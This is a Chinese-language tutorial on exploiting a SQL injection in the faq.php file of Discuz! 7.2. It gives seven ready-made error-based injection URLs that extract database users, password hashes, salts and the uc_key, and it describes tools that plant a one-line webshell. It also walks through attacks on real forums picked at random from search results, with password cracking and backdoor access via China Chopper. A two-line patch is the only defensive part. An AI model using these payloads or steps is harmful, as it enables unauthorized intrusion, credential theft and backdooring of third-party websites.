Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon

   最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨。

1. faq.php文件SQL注入漏洞代码分析

本次存在漏洞的文件为faq.php,打开该文件后,从第148行开始,代码如下

} elseif($action == 'grouppermission') {

       require_once'./include/forum.func.php';

       require_oncelanguage('misc');

       $permlang =$language;

       unset($language);

       $searchgroupid =isset($searchgroupid) ? intval($searchgroupid) : $groupid;

       $groups =$grouplist = array();

       $query =$db->query("SELECT groupid, type, grouptitle, radminid FROM{$tablepre}usergroups ORDER BY (creditshigher<>'0' ||creditslower<>'0'), creditslower");

       $cgdata =$nextgid = '';

       while($group =$db->fetch_array($query)) {

              $group['type']= $group['type'] == 'special' && $group['radminid'] ? 'specialadmin' :$group['type'];

              $groups[$group['type']][]= array($group['groupid'], $group['grouptitle']);

              $grouplist[$group['type']].= '';

              if($group['groupid']== $searchgroupid) {

                     $cgdata= array($group['type'], count($groups[$group['type']]) - 1, $group['groupid']);

              }

       }

       if($cgdata[0] =='member') {

              $nextgid =$groups[$cgdata[0]][$cgdata[1] + 1][0];

              if($cgdata[1]> 0) {

                     $gids[1]= $groups[$cgdata[0]][$cgdata[1] - 1];

              }

              $gids[2] =$groups[$cgdata[0]][$cgdata[1]];

              if($cgdata[1]< count($groups[$cgdata[0]]) - 1) {

                     $gids[3]= $groups[$cgdata[0]][$cgdata[1] + 1];

                     if(count($gids)== 2) {

                            $gids[4]= $groups[$cgdata[0]][$cgdata[1] + 2];

                     }

              }elseif(count($gids) == 2) {

                     $gids[0]= $groups[$cgdata[0]][$cgdata[1] - 2];

              }

       } else {

              $gids[1] =$groups[$cgdata[0]][$cgdata[1]];

       }

       ksort($gids);

       $groupids =array();

       foreach($gids as$row) {

              $groupids[]= $row[0];

       }

 

       $query =$db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN(".implodeids($groupids).")");

       $groups =array();

    首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。为什么这个操作就造成了注入?在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里,有提到通过提取魔术引号产生的“\”字符带来的安全问题,同样这个问题在这里又一次完美体现。discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。在将数据放入sql语句前,通过implodeids函数进行处理了一遍,implodeids函数如下:

function implodeids($array) {

    if(!empty($array)){

        return"'".implode("','", is_array($array) ? $array :array($array))."'";

    } else {

        return '';

    }

}

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:'1','\','3','4'

有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错。

利用上面提到的思路,通过提交faq.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞。因此可以构造利用代码:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23

2.可利用exp代码

 (1)获取mysql用户信息

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(2)获取数据库版本信息

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(3)获取数据库信息

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(4)获取数据库用户名和密码

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

5)获取用户名、email、密码和salt信息

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

(6)获取uc_key

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23

(7)对指定uid获取密码

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

3.利用exp工具使用

   网上公布了可利用的exp工具,通过该工具可以快速获取管理员密码,但有时候admin帐号并不是管理员帐号。利用格式如下:

   1)直接获取webshell一句话密码为“i0day”

php dz7.2.php www.antian365.com / 1

(2)获取管理密码

php dz7.2.php www.antian365.com / 2

4.Discuz!7.2faq.php文件SQL注入漏洞利用思路

1)通过exp直接获取webshell,如果不能则获取管理员密码。

2)对管理员密码进行破解。通过在cmd5.com网站对管理密码进行查询,需要带salt获取的salt要去掉最后一个数字“1”,例如下面获取

php dz7.2.php www.antian365.com / 2

admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71,需要查询的是c6c45f444cf6a41b309c9401ab9a55a7:066ff7

注意:有时候通过工具获取的密码不一定是管理员,这个时候就需要手工获取管理员的密码,还有如果有secques,就需要暴力破解。

(3)通过uc_key获取shell

(4)进入后台,添加插件获取webshell

(5)http://www.antian365.com/config.inc.php  一句话密码i0day 或者cmd

5.修复方法

1)直接删除faq.php文件。该文件为显示论坛帮助用的,功能相对独立,可以在服务器禁止该文件的访问,或者直接删除,对论坛常规功能没有任何影响。

2 手工修复faq.php

用编辑器打开该文件,查找代码:“} elseif($action =='grouppermission') {”,在其下面添加“  $gids= array();”即可。

6.实际利用案例

6.1直接获取webshell和管理员密码

    通过google、百度等搜索引擎搜索“Powered by Discuz7.2”,在出来的结果中随机选取一个论坛,然后在命令提示符下输入“php dz7.2.php www1.xxxx.com / 1”以及“php dz7.2.php www1.xxxx.com /  2”,如图1所示,直接获取该网站的webshell以及管理员密码。

                           

1 获取webshell以及管理员密码

注意:

   1)需要本地搭建php运行环境,本案例使用的是ComsenzEXP X2.5,下载地址:http://www.comsenz.com/downloads/install/exp/,安装完毕后需要修改php.ini文件,该文件在安装该软件的php目录中,例如“D:\ComsenzEXP\PHP5”,打开php.ini文件,将以下文件的内容修改为实际安装文件的路径,否则执行php命令会报错。

zend_extension_manager.optimizer_ts="D:\ComsenzEXP\PHP5\Zend"

zend_extension_ts="D:\ComsenzEXP\PHP5\Zend\ZendExtensionManager.dll"

2)“/”后需要留一个空格。如果存在漏洞则有结果,无结果则表明无法获取webshell或者管理员密码。

    在中国菜刀中对上面获取的webshell进行连接测试,如图2所示,成功获取webshell

2 webshell进行连接测试

6.2通过uc_key获取webshell测试

   1)获取uc_key

在本地打开config.inc.php文件,如图3所示,将UC_KEY值复制,UC_KEY可能是64位,也可能为124位。也可以通过查看数据库中的cdb_uc_applications表的authkey字段值。

3获取uc_key

2)修改uc_key_dz72_me.php程序配置

   uc_key漏洞利用程序uc_key_dz72_me.php中需要手动配置hostuc_key的值,如图4所示。

4修改漏洞利用程序配置

3)修改discuz!7.2实际安装路径

   uc_key漏洞利用程序uc_key_dz72_me.php中默认是安装在根目录中,但在实际使用中有可能是安装在其它目录,比如bbsforum等。如果不是默认根目录,则需要在send()函数中修改uc.php真实路径,例如修改为“/dz72/api/uc.php”,如果是默认的则为“api/uc.php”,其它保持不变。

5修改post参数

4)执行利用程序

   php.exe程序所在目录执行“php uc_key_dz72_me.php”,如图6所示,会出现“1”的提示,则表明成功获取webshell

6执行漏洞利用程序

5)查看config.inc.php文件

    再次打开config.inc.php文件,如图7所示,uc_key中新增加了一句话后门代码,使用中国菜刀连接,密码为“cmd”。

7成功获取webshell

6.3手动获取uc_keywebshell

1)获取uc_key62位值。

在浏览器中目标地址加上:“/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23”

执行后获取uc_key前62位值,如图8所示。

8获取uc_key前62位值

(2)获取剩余uc_key

在上述代码中将(authkey,1,62)修改为(authkey,61,64),如图9所示,获取uc_key值“j2J6”,去掉“j2”,前后值相加即为uc_key的真实值。如果authkey的值超过64位则修改为(authkey,61,128)。substr()函数一次只能获取62位值。直接使用substr(authkey,1,124)也只能获取62位值,如图10所示。

9获取uc_key剩余值

10一次只能获取62位值

3)获取webshell

   uc_key值和host以及真实的路径值进行修改,然后通过uc_key漏洞利用程序,成功获取webshell,如图11所示。

 

11获取webshell

4)修补程序漏洞

faq.php文件中找到action==grouppermission代码所在处,在其后加入代码“$gids = array(); 如图12所示,保存后即可修复faq.php注入漏洞。

12修复faq.php文件注入漏洞

6.4管理员不是默认的获取webshell

   1)获取admin密码,但不是管理员帐号

 对目标网站通过漏洞利用程序,获取管理员帐号为admin的密码和salt值,如图13所示,将其在cmd5.com进行查询,购买该破解后的密码后,使用其进行网站登录,如图14所示,虽然为admin帐号,但不是管理员。

13获取admin帐号密码

14登录网站

2)获取管理团队帐号名称和uid

   在论坛中单击“论坛统计”-“管理团队”,如图15所示,获取所有管理团队的用户帐号名称,单击该帐号可以获取uid值。分别记下其uid值,后续在程序中还有用。

15获取管理员帐号和uid

3)获取真实管理员的帐号、密码和salt

在浏览器中输入以下代码,获取指定uid的密码、emailsalt:

http://www.antian365.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=50477%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

   执行后通过出错信息获取其相应的值,如图16所示。

16获取指定管理员的帐号密码和salt

   后续步骤跟上面的类似,通过破解管理员的密码,登录后台,通过添加插件,成功获取webshell